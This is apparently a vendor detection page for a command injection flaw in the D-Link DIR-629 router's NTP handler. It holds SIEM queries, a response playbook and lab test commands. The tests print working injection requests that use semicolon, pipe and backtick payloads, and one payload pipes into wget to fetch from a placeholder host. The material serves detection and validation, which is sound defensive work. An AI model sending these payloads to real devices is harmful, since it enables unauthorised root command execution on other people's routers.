D-Link DIR-629 NTP Time Command Injection (CVE-2026-138201)
Detects exploitation of CVE-2026-138201, an OS command injection vulnerability in the D-Link DIR-629 1.03.B01_CN router. An unknown function in /etc/services/DEVICE.TIME.php (the NTP Time component) fails to sanitize the attacker-controlled server argument before passing it to a shell. An attacker who can reach the device HTTP management interface can inject arbitrary OS commands (CWE-77/CWE-78), resulting in remote command execution as root. The attack can be launched remotely. CVSS 4.0 base score 8.6. A public exploit is available. This detection surfaces anomalous HTTP requests to the DEVICE.TIME handler containing shell metacharacters, and post-exploitation child-process/command execution telemetry on devices that forward syslog.
Vulnerability Intelligence
TheoreticalAffected Software
- Vendor
- D-Link
- Product
- DIR-629
- Versions
- 1.03.B01_CN
Timeline
- Disclosed
- November 29, 2026
CVSS
What is CVE-2026-138201 D-Link DIR-629 NTP Time Command Injection (CVE-2026-138201)?
D-Link DIR-629 NTP Time Command Injection (CVE-2026-138201) (CVE-2026-138201) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for D-Link DIR-629 NTP Time Command Injection (CVE-2026-138201), covering the data sources and telemetry it touches: Network Firewall, Web Proxy, Syslog. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
// df00tech DF00-9b76f17cea · https://df00tech.com/detections/CVE-2026-138201 · licence: https://df00tech.com/detections/licence
let shellMeta = dynamic([";", "|", "&", "`", "$(", "%3B", "%7C", "%26", "%60"]);
CommonSecurityLog
| where DeviceVendor in~ ("D-Link", "Dlink") or DeviceProduct has "DIR-629"
| where RequestURL has "DEVICE.TIME" or RequestURL has "DEVICE.TIME.php"
| extend payload = strcat(tostring(RequestURL), " ", tostring(AdditionalExtensions))
| where payload has_any (shellMeta) or payload matches regex @"(?i)(ntp|time|server)[^&]*(%3B|;|%7C|\||%60|`|\$\()"
| project TimeGenerated, SourceIP, DestinationIP, RequestURL, RequestMethod, payload, DeviceVendor, DeviceProduct
| sort by TimeGenerated desc Flags HTTP requests to the DIR-629 DEVICE.TIME NTP handler that carry shell metacharacters indicative of command injection, parsed from firewall/proxy CommonSecurityLog records.
Data Sources
Required Tables
False Positives
- Legitimate NTP server configuration where an administrator enters a hostname containing an unusual but benign character
- Security scanners and vulnerability assessment tools probing the device during authorized testing
- URL-encoded parameters that coincidentally contain reserved characters without malicious intent
Query fingerprint DF00-9b76f17cea · licence
Sigma logsource & community rules
The detection logic for D-Link DIR-629 NTP Time Command Injection (CVE-2026-138201) (CVE-2026-138201) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-138201
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulated DEVICE.TIME command injection via curl (lab)
Expected signal: Firewall/proxy/syslog record of a POST to DEVICE.TIME.php containing a semicolon and the injected 'id' command.
- Test 2 URL-encoded pipe injection against NTP handler (lab)
Expected signal: Network log shows a GET to DEVICE.TIME.php with %7C (encoded pipe) and an embedded wget command.
- Test 3 Backtick subcommand injection probe (lab)
Expected signal: Proxy/firewall record of a POST to DEVICE.TIME.php containing backtick characters.
Response Playbook
Triage
- Confirm the source IP in the alert is attempting to reach the HTTP management interface of a D-Link DIR-629 (1.03.B01_CN) device and extract the full DEVICE.TIME request payload.
- Decode any URL-encoded characters in the payload and identify the injected shell command fragment (characters after ;, |, &, `, or $( ).
- Determine whether the management interface is reachable from untrusted networks (WAN/Internet) versus LAN-only, which changes exposure.
- Check whether the device subsequently generated outbound connections, DNS lookups, or syslog entries indicating the injected command executed.
Containment
- Block the attacker source IP at the perimeter firewall and restrict access to the DIR-629 management interface to trusted management subnets only.
- Isolate the affected router from the WAN if remote management is exposed, and disable remote administration until patched.
- If compromise is confirmed, factory-reset the device and reflash firmware from a verified image, as embedded command injection can persist in configuration/NVRAM.
Evidence Collection
- Capture and preserve the full HTTP request(s) to DEVICE.TIME.php, including headers, body, and source IP, from firewall/proxy/syslog logs.
- Export device syslog and any available process/connection telemetry around the time of the request for the injected command's effects.
Escalation Criteria
- ! Escalate to incident response if post-request telemetry shows outbound C2 connections, new processes, or configuration changes on the device.
- ! Escalate if the DIR-629 management interface is confirmed exposed to the Internet, given the CVSS 8.6 remote command execution risk and that a public exploit exists.
Investigation Guide
Forensic Artifacts
- >
HTTP access/firewall logs showing requests to /etc/services/DEVICE.TIME.php with shell metacharacters - >
Device syslog entries and NVRAM/configuration changes reflecting injected command execution - >
Outbound network connections originating from the router immediately after the malicious request
Tuning Guidance
Baseline legitimate management access to the DIR-629 interface by source IP and restrict the detection to requests originating outside known administrator subnets. If authorized vulnerability scanners regularly probe the device, allowlist their source IPs. Tighten the metacharacter regex if benign NTP hostnames in your environment legitimately contain reserved characters, and prioritize alerts where the management interface is WAN-exposed.
Hunting Queries
Surfaces source IPs making repeated requests to the DEVICE.TIME endpoint, indicating scanning or brute-force exploitation attempts.
// df00tech DF00-9b76f17cea · https://df00tech.com/detections/CVE-2026-138201 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "DEVICE.TIME" | summarize count(), make_set(RequestURL) by SourceIP, bin(TimeGenerated, 1h) | where count_ > 5 ``` df00tech DF00-9b76f17cea · https://df00tech.com/detections/CVE-2026-138201 · licence: https://df00tech.com/detections/licence ```
index=network url="*DEVICE.TIME*" | stats count values(url) by src_ip | where count>5 Atomic Red Team Tests
Sends an HTTP request to a lab DIR-629 (or emulated endpoint) DEVICE.TIME handler with a semicolon-delimited injected command to validate detection coverage.
Command
curl -s -X POST 'http://192.0.2.10/etc/services/DEVICE.TIME.php' --data 'ntp_server=pool.ntp.org;id' -o /dev/null Cleanup
echo 'No cleanup required; request leaves no local artifacts on the testing host.' Expected Telemetry
Firewall/proxy/syslog record of a POST to DEVICE.TIME.php containing a semicolon and the injected 'id' command.
Expected Detection
KQL/SPL/network queries match on the DEVICE.TIME URL plus shell metacharacter in the payload.
Issues a GET request with a URL-encoded pipe character to the DEVICE.TIME handler to confirm encoded-metacharacter detection.
Command
curl -s 'http://192.0.2.10/etc/services/DEVICE.TIME.php?ntp_server=time.google.com%7Cwget%20http://192.0.2.20/x' -o /dev/null Cleanup
echo 'No cleanup required.' Expected Telemetry
Network log shows a GET to DEVICE.TIME.php with %7C (encoded pipe) and an embedded wget command.
Expected Detection
Queries match on the encoded metacharacter (%7C) within a DEVICE.TIME request.
Sends a request containing a backtick-delimited subcommand to the DEVICE.TIME endpoint to verify backtick detection.
Command
powershell -Command "Invoke-WebRequest -Uri 'http://192.0.2.10/etc/services/DEVICE.TIME.php' -Method POST -Body 'ntp_server=`id`' -UseBasicParsing" Cleanup
echo done Expected Telemetry
Proxy/firewall record of a POST to DEVICE.TIME.php containing backtick characters.
Expected Detection
Detection queries match the backtick metacharacter within the DEVICE.TIME request payload.
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040